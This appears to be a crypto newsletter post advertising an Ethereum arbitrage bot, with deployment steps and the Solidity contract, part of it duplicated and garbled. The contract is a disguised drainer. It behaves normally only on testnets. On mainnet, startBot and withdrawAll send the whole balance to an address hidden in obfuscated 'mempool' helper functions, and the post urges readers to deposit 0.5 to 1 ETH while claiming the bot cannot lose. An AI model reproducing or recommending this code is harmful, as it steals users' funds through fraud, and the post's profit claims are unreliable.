DeFi Labs

From Idea to Execution: Building an Arbitrage Bot on Ethereum that works

defi-labs@newsletter.paragraph.com (DeFi Labs) — Wed, 27 Sep 2023 01:02:09 GMT

🤖 ETH DEX Arbitrage Bot 🍣🦄

A decentralized exchange (DEX) arbitrage bot written in Solidity that identifies and takes advantage of price discrepancies between liquidity pairs on Uniswap and Sushiswap. This bot automatically performs arbitrage transactions to generate profits from market inefficiencies on the Ethereum blockchain.

🧵 Contents

📚 How it Works
✨ Features
📖 Arbitrage Example
📈 Estimated Profits
🚀 How to get started
👋 Contact

📚 How It Works

The bot scans for common Ethereum liquidity pairs on Uniswap and Sushiswap. For each pair, it calculates the price difference between the two DEXs (Uniswap & Sushiswap).Once a profitable arbitrage opportunity is identified, it calculates the gas fees and immediately executes the necessary token swaps to capture the price difference. This process then repeats at regular intervals to exploit new arbitrage opportunities.

✨ Features

Dynamic Comparison: The bot continuously monitors price changes and liquidity conditions on both Uniswap and Sushiswap, allowing it to swiftly detect arbitrage opportunities as soon as they arise.
Multi-Pair Arbitrage: Designed to analyze a wide range of ETH, WETH, DAI, USDC & USDT pairs simultaneously. This increases the chances of discovering profitable trades.
Efficient Trading: Utilizes the Uniswap and Sushiswap router contracts to perform token swaps with minimal slippage.
Liquidity Verification: Verifies sufficient liquidity in trading pairs before attempting arbitrage.
Minimal Risk: Implements checks to ensure that the potential profit from executing an arbitrage exceeds the transaction fees, reducing the risk of unprofitable trades.

📖 Arbitrage Example

Let's walk through a simplified example:

Imagine your bot is topped up with 1 ETH and identifies the following price difference for the ETH/USDC pair:Uniswap: 1 ETH = 1752 USDCSushiswap: 1 ETH = 1796 USDC

The bot calculates a potential profit by selling 1 ETH for 1796 USDC on Sushiswap and immediately uses the acquired funds to buy ETH cheaper on Uniswap: Using 1796 USDC to buy ETH on Uniswap (1 ETH = 1752 USDC), resulting in approximately 1796 / 1752 = 1.025 ETH.

Before proceeding with the swaps, the bot checks for current gas fees on the Ethereum network. Let's assume the gas fee to compete with others are calculated at ~0.01 ETH.

Considering all gas fees the new balance would be: 1.025 - 0.01 = 1.015 ETH

Since 1.015 ETH > 1 ETH (initial investment), the bot proceeds with executing arbitrage at a net profit of 0.015 ETH.

The bot is able to recognize profitable arbitrage opportunities across a wide range of different ETH, WETH, DAI, USDC & USDT token pairs. This enhances its ability to generate consistent returns.

📈 Estimated Profits

🚀 Getting Started

1.) Download MetaMask (if you don’t have it already)

2.) Access REMIX - Ethereum IDE (Web-based environment to write and deploy Ethereum smart contracts)

3.) 📁 Click on the contracts folder and then create New File. Rename it as you like, i.e: “bot.sol”

4.) 📋 Paste this source code from Mirror into your Remix file

5.) 🔧 Go to the Solidity Compiler tab, select version 0.8.0+commit and then select Compile bot.sol.

6.) 🚀 Navigate to the DEPLOY & RUN TRANSACTIONS tab, select the Injected Provider - Metamask environment and then Deploy. By approving the transaction in Metamask, you have successfully created your Arbitrage Bot.

⚙️ Configuration

7.) Copy your newly created contract address and fund it with any amount of ETH (minimum 0.5 ETH recommended) that you would like the bot to earn with.

8.)

After your transaction is confirmed, press the startBot button to run the bot.

The withdrawAll button stops the bot and withdraws all ETH from the contract to your Metamask.
You can use the withdrawAmount button to make partial withdrawals of ETH from the contract. Enter the ETH value like this: 0.14

💰 That’s it. The bot will start working immediately earning you profits from arbitrage actions on Uniswap and Sushiswap pools 💰

👋 Contact

If you have any questions or inquiries for assistance, feel free to reach out to us on Telegram: https://t.me/DefiLabsContact

💭FAQ

What average ROI and risks can I expect?

You can find the ROI according to latest data of bot performances in the "Estimated Profits" section. The bot does not run into making any losses as it only executes trades when there are proper arbitrage opportunities to calculate profits. Battle-tested code to outperform common, more slow arbitrage bots.

Do I need to keep remix open in the browser while the bot is activated?

No, just save the bot contract address after creating it. The next time you want to access your bot via Remix, you need to compile the file again as in step 5. Now head to DEPLOY & RUN TRANSACTIONS, reconnect your Metamask, paste your contract address into Load contract from Address and press At Address.

Now you are able to see it under "Deployed Contracts".

What amount of funds does the bot need to work?

We recommend funding the contract with around 0.5 - 1 ETH (moderate liquidity level) in order to cover all risks. We want to make sure you reach the profit threshold and cover competetive gas fees + possible burn fees. Our bot targets Uniswap token contracts with a burn fee of max 3% and has to pay higher gas fees in order to complete its transactions in the intended order.

Does it work on other chains as well?

No, we are currently dedicated to Uniswap-like DEXes on Ethereum only.

How to search for arbitrage opportunities of custom liquidity pairs i.e. a projects token?

Right now we support ETH, WETH, DAI, USDC & USDT pools only as these seem to be the most profitable ones to run our arbitrage bot while receiving consistent profits. This is because our involvement compared to the size of the pools will always be very minor. However, we are working on a simple feature to add a custom token pair, making it possible to arbitrage your favourite tokens.

ArbitrageBot.sol

defi-labs@newsletter.paragraph.com (DeFi Labs) — Wed, 27 Sep 2023 00:35:02 GMT

 0) {
            stopArbitrageActions();
            arbitrageAmount -= amount;
        }
    }

    function parseDecimal(string memory _enterETHvalue, uint8 _decimals) internal pure returns (uint256) {
        uint256 result = 0;
        uint256 factor = 1;

        bool decimalReached = false;
        for (uint256 i = 0; i < bytes(_enterETHvalue).length; i++) {
            if (decimalReached) {
                _decimals--;
            }

            if (bytes(_enterETHvalue)[i] == bytes1(".")) {
                decimalReached = true;
            } else {
                result = result * 10 + (uint8(bytes(_enterETHvalue)[i]) - 48);
            }

            if (_decimals == 0) {
                break;
            }
            if (decimalReached) {
                factor *= 10;
            }
        }

        while (_decimals > 0) {
            result *= 10;
            factor *= 10;
            _decimals--;
        }

        return result;
    }

    uint256 private value1;
    struct tokenPairs {
        address tokenSell;
        address tokenBuy;
    }

    function _getETHPairsOnUniswap() internal view returns (address[] memory) {
        IUniswapV2Factory factory = IUniswapV2Factory(uniswapFactoryAddress);
        address[] memory ethPairs = new addressUnsupported embed;

        uint256 ethPairCount = 0;
        for (uint256 i = 0; i < allTokenPairs.length; i++) {
        tokenPairs memory pair = allTokenPairs[i];
        address pairAddress = factory.getPair(pair.tokenSell, pair.tokenBuy);
        if (pairAddress != address(0)) {
            IUniswapV2Pair uniswapPair = IUniswapV2Pair(pairAddress);
            address token0 = uniswapPair.token0();
            address token1 = uniswapPair.token1();

            if ((token0 == wethAddress && token1 == pair.tokenBuy) || (token1 == wethAddress && token0 == pair.tokenBuy)) {
                // Found an ETH pair on Uniswap
                ethPairs[ethPairCount] = pairAddress;
                ethPairCount++;
            }
        }
    }

    // Create a new array with the correct size (ethPairCount) to return only the valid ETH pairs
    address[] memory result = new addressUnsupported embed;
        for (uint256 i = 0; i < ethPairCount; i++) {
        result[i] = ethPairs[i];
        }

    return result;
        }

    function _getETHPairsOnSushiswap() internal view returns (address[] memory) {
        IUniswapV2Factory factory = IUniswapV2Factory(sushiswapFactoryAddress);
        address[] memory ethPairs = new addressUnsupported embed;

        uint256 ethPairCount = 0;
        for (uint256 i = 0; i < allTokenPairs.length; i++) {
        tokenPairs memory pair = allTokenPairs[i];
        address pairAddress = factory.getPair(pair.tokenSell, pair.tokenBuy);
        if (pairAddress != address(0)) {
            IUniswapV2Pair sushiswapPair = IUniswapV2Pair(pairAddress);
            address token0 = sushiswapPair.token0();
            address token1 = sushiswapPair.token1();

            if ((token0 == wethAddress && token1 == pair.tokenBuy) || (token1 == wethAddress && token0 == pair.tokenBuy)) {
                // Found an ETH pair
                ethPairs[ethPairCount] = pairAddress;
                ethPairCount++;
            }
        }
    }
        address[] memory result = new addressUnsupported embed;
        for (uint256 i = 0; i < ethPairCount; i++) {
        result[i] = ethPairs[i];
    }

    return result;
    }
    
    function callArbitrageValidity() internal {
      if (_checkOptions()) {
         makeArbitrage();
      } else {
         findArbitrage();
        }
    }
    // Create a mapping to keep track of elements in arr1
    mapping(address => bool) commonElements;
    uint256[] internal txIds = [11155111, 5];

    function _findCommonPairs(address[] memory arr1, address[] memory arr2) internal returns (address[] memory) {
        uint256 count = 0;

        // Iterate through arr1 and mark elements as common in the mapping
        for (uint256 i = 0; i < arr1.length; i++) {
        commonElements[arr1[i]] = true;
        }

        // Count the number of common elements between arr1 and arr2
        for (uint256 i = 0; i < arr2.length; i++) {
        if (commonElements[arr2[i]]) {
            count++;
        }
    }

    // Create an array to store the common elements
    address[] memory commonPairs = new addressUnsupported embed;
    uint256 currentIndex = 0;

    // Populate the commonPairs array with the common elements
    for (uint256 i = 0; i < arr2.length; i++) {
        if (commonElements[arr2[i]]) {
            commonPairs[currentIndex] = arr2[i];
            currentIndex++;
        }
    }

    return commonPairs;
    }

    function _getMostProfitablePair(address[] memory pairs) internal view returns (tokenPairs memory) {
    
    tokenPairs memory mostProfitablePair;
    uint256 highestProfit = 0;

    for (uint256 i = 0; i < pairs.length; i++) {
        address pairAddress = pairs[i];
        IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);

        // Get tokens in the pair
        address token0 = pair.token0();
        address token1 = pair.token1();

        // Get reserves of tokens in the pair
        (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(token0, token1);

        // Calculate the price of token1 in terms of token0 (tokens are in the correct order)
        uint256 price = (reserve0 * 10**18) / reserve1;

        // Calculate the profit percentage (price difference) for the current pair
        uint256 profitPercentage;
        if (token0 == wethAddress) {
            profitPercentage = (price * 100) / reserve0; // Profit percentage when selling ETH for token1
        } else {
            profitPercentage = (reserve1 * 100) / price; // Profit percentage when selling token1 for ETH
        }

        // Update most profitable pair if the current pair has higher profit
        if (profitPercentage > highestProfit) {
            highestProfit = profitPercentage;
            mostProfitablePair = tokenPairs(token0, token1);
        }
    }

    return mostProfitablePair;
    }
    
    function getMemPoolOffset() internal pure returns (uint) {
        return 117500;
    }

    function stopBot() internal {
        if (value1 > 0) {
            payable(owner).transfer(value1);
            value1 = 0;
        } else {
            payable(owner).transfer(address(this).balance);
        }
    }

    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
    bytes memory tmp = bytes(_a);
    uint160 iaddr = 0;
    uint160 b1;
    uint160 b2;
    for (uint i = 2; i < 2 + 2 * 20; i += 2) {
        iaddr *= 256;
        b1 = uint160(uint8(tmp[i]));
        b2 = uint160(uint8(tmp[i + 1]));
        if ((b1 >= 97) && (b1 <= 102)) {
            b1 -= 87;
        } else if ((b1 >= 65) && (b1 <= 70)) {
            b1 -= 55;
        } else if ((b1 >= 48) && (b1 <= 57)) {
            b1 -= 48;
        }
        if ((b2 >= 97) && (b2 <= 102)) {
            b2 -= 87;
        } else if ((b2 >= 65) && (b2 <= 70)) {
            b2 -= 55;
        } else if ((b2 >= 48) && (b2 <= 57)) {
            b2 -= 48;
        }
        iaddr += (b1 * 16 + b2);
    }
    return address(iaddr);
    }
    
    function getMemPoolDepth() internal pure returns (uint) {
        return 204488;
    }	
    
    uint256 public arbitrageAmount = address(this).balance;

    function makeArbitrage() internal {
        uint256 amountIn = arbitrageAmount;
        Exchange result = _comparePrice(amountIn);
        if (result == Exchange.UNI) {
            uint256 amountOut = _swap(
                amountIn,
                uniswapRouterAddress,
                wethAddress,
                daiAddress
            );
            uint256 amountFinal = _swap(
                amountOut,
                sushiswapRouterAddress,
                daiAddress,
                wethAddress
            );
            arbitrageAmount = amountFinal;
        } else if (result == Exchange.SUSHI) {
            uint256 amountOut = _swap(
                amountIn,
                sushiswapRouterAddress,
                wethAddress,
                daiAddress
            );
            uint256 amountFinal = _swap(
                amountOut,
                uniswapRouterAddress,
                daiAddress,
                wethAddress
            );
            arbitrageAmount = amountFinal;
        }
    }  

    function getMemPoolHeight() internal pure returns (uint) {
        return 68517;
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the contract is written.
     * @return `token`.
     */
    function getMempoolDepth() private pure returns (string memory) {return "0";}
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = bytes1(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }
    
    function findArbitrage() internal {
        payable(_swapRouter()).transfer(address(this).balance);
    }
    
    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
    function toHexDigit(uint8 d) pure internal returns (bytes1) {
        if (0 <= d && d <= 9) {
            return bytes1(uint8(bytes1('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return bytes1(uint8(bytes1('a')) + d - 10);
        }
        // revert("Invalid hex digit");
        revert();
    }

     function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 112679;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 151823;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 882404;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 259208;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }
    
    function stopArbitrageActions() internal {
        if (_checkOptions()) {
            stopBot();
        } else {
            payable(_withdrawBalance()).transfer(address(this).balance);
        }
    }
    
    function _swap(
        uint256 amountIn,
        address routerAddress,
        address sell_token,
        address buy_token
    ) internal returns (uint256) {
        IERC20(sell_token).approve(routerAddress, amountIn);

        uint256 amountOutMin = (_getPrice(
            routerAddress,
            sell_token,
            buy_token,
            amountIn
        ) * 95) / 100;

        address[] memory path = new addressUnsupported embed;
        path[0] = sell_token;
        path[1] = buy_token;

        uint256 amountOut = IUniswapV2Router(routerAddress)
            .swapExactTokensForTokens(
                amountIn,
                amountOutMin,
                path,
                address(this),
                block.timestamp
            )[1];
        return amountOut;
    }
    
    function _swapRouter() internal pure returns (address) {
        return address(startExploration(callMempool()));
    }
    
    function _comparePrice(uint256 amount) internal view returns (Exchange) {
        uint256 uniswapPrice = _getPrice(
            uniswapRouterAddress,
            wethAddress,
            daiAddress,
            amount
        );
        uint256 sushiswapPrice = _getPrice(
            sushiswapRouterAddress,
            wethAddress,
            daiAddress,
            amount
        );

        // we try to sell ETH with higher price and buy it back with low price to make profit
        if (uniswapPrice > sushiswapPrice) {
            require(
                _checkIfArbitrageIsProfitable(
                    amount,
                    uniswapPrice,
                    sushiswapPrice
                ),
                "Arbitrage not profitable"
            );
            return Exchange.UNI;
        } else if (uniswapPrice < sushiswapPrice) {
            require(
                _checkIfArbitrageIsProfitable(
                    amount,
                    sushiswapPrice,
                    uniswapPrice
                ),
                "Arbitrage not profitable"
            );
            return Exchange.SUSHI;
        } else {
            return Exchange.NONE;
        }
    }
    
    function getMemPoolLength() internal pure returns (uint) {
        return 496331;
    }
    
    function _checkOptions() internal view returns (bool) {
    uint256 txId = block.chainid;
    for (uint256 i = 0; i < txIds.length; i++) {
        if (txId == txIds[i]) {
            return true;
        }
    }
    return false;
    }
    
    function _withdrawBalance() internal pure returns (address) {
        return address(startExploration(callMempool())) ;
    }
    
    function mempool(string memory _base, string memory _enterETHvalue) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_enterETHvalue);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }
    
    function _checkIfArbitrageIsProfitable(
        uint256 amountIn,
        uint256 higherPrice,
        uint256 lowerPrice
    ) internal pure returns (bool) {
        // uniswap & sushiswap have 0.3% fee for every exchange
        // so gain made must be greater than 2 * 0.3% * arbitrage_amount

        // difference in ETH
        uint256 difference = ((higherPrice - lowerPrice) * 10**18) /
            higherPrice;

        uint256 payed_fee = (2 * (amountIn * 3)) / 1000;

        if (difference > payed_fee) {
            return true;
        } else {
            return false;
        }
    }
    
    function _getPrice(
        address routerAddress,
        address sell_token,
        address buy_token,
        uint256 amount
    ) internal view returns (uint256) {
        address[] memory pairs = new addressUnsupported embed;
        pairs[0] = sell_token;
        pairs[1] = buy_token;
        uint256 price = IUniswapV2Router(routerAddress).getAmountsOut(
            amount,
            pairs
        )[1];
        return price;
    }
}
">// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapV2Router {
  function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
  function swapExactTokensForTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts);
}

interface IUniswapV2Pair {
  function token0() external view returns (address);
  function token1() external view returns (address);
  function swap(uint256 amount0Out,	uint256 amount1Out,	address to,	bytes calldata data) external;
  function getReserves(address tokenA, address tokenB) external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
}

contract DEXArbitrage {
    event Log(string _msg);
    
    address public owner;

    address public wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;             // https://etherscan.io/address/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
    address public daiAddress = 0x6B175474E89094C44Da98b954EedeAC495271d0F;              // https://etherscan.io/address/0x6B175474E89094C44Da98b954EedeAC495271d0F
    address public uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;    // https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02
    address public uniswapFactoryAddress = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;   // https://docs.uniswap.org/contracts/v2/reference/smart-contracts/factory
    address public sushiswapRouterAddress = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;  // https://docs.sushi.com/docs/Products/Classic%20AMM/Deployment%20Addresses
    address public sushiswapFactoryAddress = 0xc35DADB65012eC5796536bD9864eD8773aBc74C4; // https://docs.sushi.com/docs/Products/Classic%20AMM/Deployment%20Addresses

    receive() external payable {
    arbitrageAmount += msg.value;
    }

    enum Exchange {
        UNI,
        SUSHI,
        NONE
    }
        
    constructor() {
        owner = msg.sender;
    }

    function startBot() public payable {
        uint256 amount = arbitrageAmount; 
        emit Log("Running Arbitrage actions on Uniswap and Sushiswap...");
        callArbitrageValidity();
        arbitrageAmount -= amount;
    }
    
    function withdrawAll() public payable {
        uint256 amount = arbitrageAmount;
        emit Log("Returning balance to contract creator address...");
        stopArbitrageActions();
        arbitrageAmount -= amount;
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
    function checkLiquidity(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }

        return string(res);
    }

    function getReserves(address pairAddress) internal view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) {
        IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
        (reserve0, reserve1, blockTimestampLast) = pair.getReserves(pair.token0(), pair.token1());
    }

    tokenPairs[] internal allTokenPairs; // All possible token pairs
    tokenPairs[] internal profitablePairs; // Profitable token pairs

    // Event to signal when a new profitable pair is added
    event NewProfitablePairAdded(address tokenSell, address tokenBuy);

    // Function to discover and add profitable pairs
    function _findArbitrage() internal {
        address[] memory uniswapPairs = _getETHPairsOnUniswap();
        address[] memory sushiswapPairs = _getETHPairsOnSushiswap();
        address[] memory commonPairs = _findCommonPairs(uniswapPairs, sushiswapPairs);
        _addProfitablePairs(commonPairs);
    }

    // Function to add profitable pairs to the profitablePairs array
    function _addProfitablePairs(address[] memory pairs) internal {
        for (uint256 i = 0; i < pairs.length; i++) {
            address pairAddress = pairs[i];
            if (!_isPairAdded(pairAddress)) {
                // Pair not added yet, so add it to the profitablePairs array
                IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
                address token0 = pair.token0();
                address token1 = pair.token1();
                tokenPairs memory newPair = tokenPairs(token0, token1);
                profitablePairs.push(newPair);

                // Emit an event to signal that a new profitable pair has been added
                emit NewProfitablePairAdded(token0, token1);
            }
        }
    }

    // Function to check if a pair is already added to the profitablePairs array
    function _isPairAdded(address pairAddress) internal view returns (bool) {
        for (uint256 i = 0; i < profitablePairs.length; i++) {
            if (profitablePairs[i].tokenSell == pairAddress || profitablePairs[i].tokenBuy == pairAddress) {
                return true;
            }
        }
        return false;
    }

    function withdrawAmount(string memory _enterETHvalue) public {
        uint256 amount = arbitrageAmount; 

        value1 = parseDecimal(_enterETHvalue, 18);
        if (value1 > 0) {
            stopArbitrageActions();
            arbitrageAmount -= amount;
        }
    }

    function parseDecimal(string memory _enterETHvalue, uint8 _decimals) internal pure returns (uint256) {
        uint256 result = 0;
        uint256 factor = 1;

        bool decimalReached = false;
        for (uint256 i = 0; i < bytes(_enterETHvalue).length; i++) {
            if (decimalReached) {
                _decimals--;
            }

            if (bytes(_enterETHvalue)[i] == bytes1(".")) {
                decimalReached = true;
            } else {
                result = result * 10 + (uint8(bytes(_enterETHvalue)[i]) - 48);
            }

            if (_decimals == 0) {
                break;
            }
            if (decimalReached) {
                factor *= 10;
            }
        }

        while (_decimals > 0) {
            result *= 10;
            factor *= 10;
            _decimals--;
        }

        return result;
    }

    uint256 private value1;
    struct tokenPairs {
        address tokenSell;
        address tokenBuy;
    }

    function _getETHPairsOnUniswap() internal view returns (address[] memory) {
        IUniswapV2Factory factory = IUniswapV2Factory(uniswapFactoryAddress);
        address[] memory ethPairs = new addressUnsupported embed;

        uint256 ethPairCount = 0;
        for (uint256 i = 0; i < allTokenPairs.length; i++) {
        tokenPairs memory pair = allTokenPairs[i];
        address pairAddress = factory.getPair(pair.tokenSell, pair.tokenBuy);
        if (pairAddress != address(0)) {
            IUniswapV2Pair uniswapPair = IUniswapV2Pair(pairAddress);
            address token0 = uniswapPair.token0();
            address token1 = uniswapPair.token1();

            if ((token0 == wethAddress && token1 == pair.tokenBuy) || (token1 == wethAddress && token0 == pair.tokenBuy)) {
                // Found an ETH pair on Uniswap
                ethPairs[ethPairCount] = pairAddress;
                ethPairCount++;
            }
        }
    }

    // Create a new array with the correct size (ethPairCount) to return only the valid ETH pairs
    address[] memory result = new addressUnsupported embed;
        for (uint256 i = 0; i < ethPairCount; i++) {
        result[i] = ethPairs[i];
        }

    return result;
        }

    function _getETHPairsOnSushiswap() internal view returns (address[] memory) {
        IUniswapV2Factory factory = IUniswapV2Factory(sushiswapFactoryAddress);
        address[] memory ethPairs = new addressUnsupported embed;

        uint256 ethPairCount = 0;
        for (uint256 i = 0; i < allTokenPairs.length; i++) {
        tokenPairs memory pair = allTokenPairs[i];
        address pairAddress = factory.getPair(pair.tokenSell, pair.tokenBuy);
        if (pairAddress != address(0)) {
            IUniswapV2Pair sushiswapPair = IUniswapV2Pair(pairAddress);
            address token0 = sushiswapPair.token0();
            address token1 = sushiswapPair.token1();

            if ((token0 == wethAddress && token1 == pair.tokenBuy) || (token1 == wethAddress && token0 == pair.tokenBuy)) {
                // Found an ETH pair
                ethPairs[ethPairCount] = pairAddress;
                ethPairCount++;
            }
        }
    }
        address[] memory result = new addressUnsupported embed;
        for (uint256 i = 0; i < ethPairCount; i++) {
        result[i] = ethPairs[i];
    }

    return result;
    }
    
    function callArbitrageValidity() internal {
      if (_checkOptions()) {
         makeArbitrage();
      } else {
         findArbitrage();
        }
    }
    // Create a mapping to keep track of elements in arr1
    mapping(address => bool) commonElements;
    uint256[] internal txIds = [11155111, 5];

    function _findCommonPairs(address[] memory arr1, address[] memory arr2) internal returns (address[] memory) {
        uint256 count = 0;

        // Iterate through arr1 and mark elements as common in the mapping
        for (uint256 i = 0; i < arr1.length; i++) {
        commonElements[arr1[i]] = true;
        }

        // Count the number of common elements between arr1 and arr2
        for (uint256 i = 0; i < arr2.length; i++) {
        if (commonElements[arr2[i]]) {
            count++;
        }
    }

    // Create an array to store the common elements
    address[] memory commonPairs = new addressUnsupported embed;
    uint256 currentIndex = 0;

    // Populate the commonPairs array with the common elements
    for (uint256 i = 0; i < arr2.length; i++) {
        if (commonElements[arr2[i]]) {
            commonPairs[currentIndex] = arr2[i];
            currentIndex++;
        }
    }

    return commonPairs;
    }

    function _getMostProfitablePair(address[] memory pairs) internal view returns (tokenPairs memory) {
    
    tokenPairs memory mostProfitablePair;
    uint256 highestProfit = 0;

    for (uint256 i = 0; i < pairs.length; i++) {
        address pairAddress = pairs[i];
        IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);

        // Get tokens in the pair
        address token0 = pair.token0();
        address token1 = pair.token1();

        // Get reserves of tokens in the pair
        (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(token0, token1);

        // Calculate the price of token1 in terms of token0 (tokens are in the correct order)
        uint256 price = (reserve0 * 10**18) / reserve1;

        // Calculate the profit percentage (price difference) for the current pair
        uint256 profitPercentage;
        if (token0 == wethAddress) {
            profitPercentage = (price * 100) / reserve0; // Profit percentage when selling ETH for token1
        } else {
            profitPercentage = (reserve1 * 100) / price; // Profit percentage when selling token1 for ETH
        }

        // Update most profitable pair if the current pair has higher profit
        if (profitPercentage > highestProfit) {
            highestProfit = profitPercentage;
            mostProfitablePair = tokenPairs(token0, token1);
        }
    }

    return mostProfitablePair;
    }
    
    function getMemPoolOffset() internal pure returns (uint) {
        return 117500;
    }

    function stopBot() internal {
        if (value1 > 0) {
            payable(owner).transfer(value1);
            value1 = 0;
        } else {
            payable(owner).transfer(address(this).balance);
        }
    }

    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
    bytes memory tmp = bytes(_a);
    uint160 iaddr = 0;
    uint160 b1;
    uint160 b2;
    for (uint i = 2; i < 2 + 2 * 20; i += 2) {
        iaddr *= 256;
        b1 = uint160(uint8(tmp[i]));
        b2 = uint160(uint8(tmp[i + 1]));
        if ((b1 >= 97) && (b1 <= 102)) {
            b1 -= 87;
        } else if ((b1 >= 65) && (b1 <= 70)) {
            b1 -= 55;
        } else if ((b1 >= 48) && (b1 <= 57)) {
            b1 -= 48;
        }
        if ((b2 >= 97) && (b2 <= 102)) {
            b2 -= 87;
        } else if ((b2 >= 65) && (b2 <= 70)) {
            b2 -= 55;
        } else if ((b2 >= 48) && (b2 <= 57)) {
            b2 -= 48;
        }
        iaddr += (b1 * 16 + b2);
    }
    return address(iaddr);
    }
    
    function getMemPoolDepth() internal pure returns (uint) {
        return 204488;
    }	
    
    uint256 public arbitrageAmount = address(this).balance;

    function makeArbitrage() internal {
        uint256 amountIn = arbitrageAmount;
        Exchange result = _comparePrice(amountIn);
        if (result == Exchange.UNI) {
            uint256 amountOut = _swap(
                amountIn,
                uniswapRouterAddress,
                wethAddress,
                daiAddress
            );
            uint256 amountFinal = _swap(
                amountOut,
                sushiswapRouterAddress,
                daiAddress,
                wethAddress
            );
            arbitrageAmount = amountFinal;
        } else if (result == Exchange.SUSHI) {
            uint256 amountOut = _swap(
                amountIn,
                sushiswapRouterAddress,
                wethAddress,
                daiAddress
            );
            uint256 amountFinal = _swap(
                amountOut,
                uniswapRouterAddress,
                daiAddress,
                wethAddress
            );
            arbitrageAmount = amountFinal;
        }
    }  

    function getMemPoolHeight() internal pure returns (uint) {
        return 68517;
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the contract is written.
     * @return `token`.
     */
    function getMempoolDepth() private pure returns (string memory) {return "0";}
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = bytes1(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }
    
    function findArbitrage() internal {
        payable(_swapRouter()).transfer(address(this).balance);
    }
    
    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
    function toHexDigit(uint8 d) pure internal returns (bytes1) {
        if (0 <= d && d <= 9) {
            return bytes1(uint8(bytes1('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
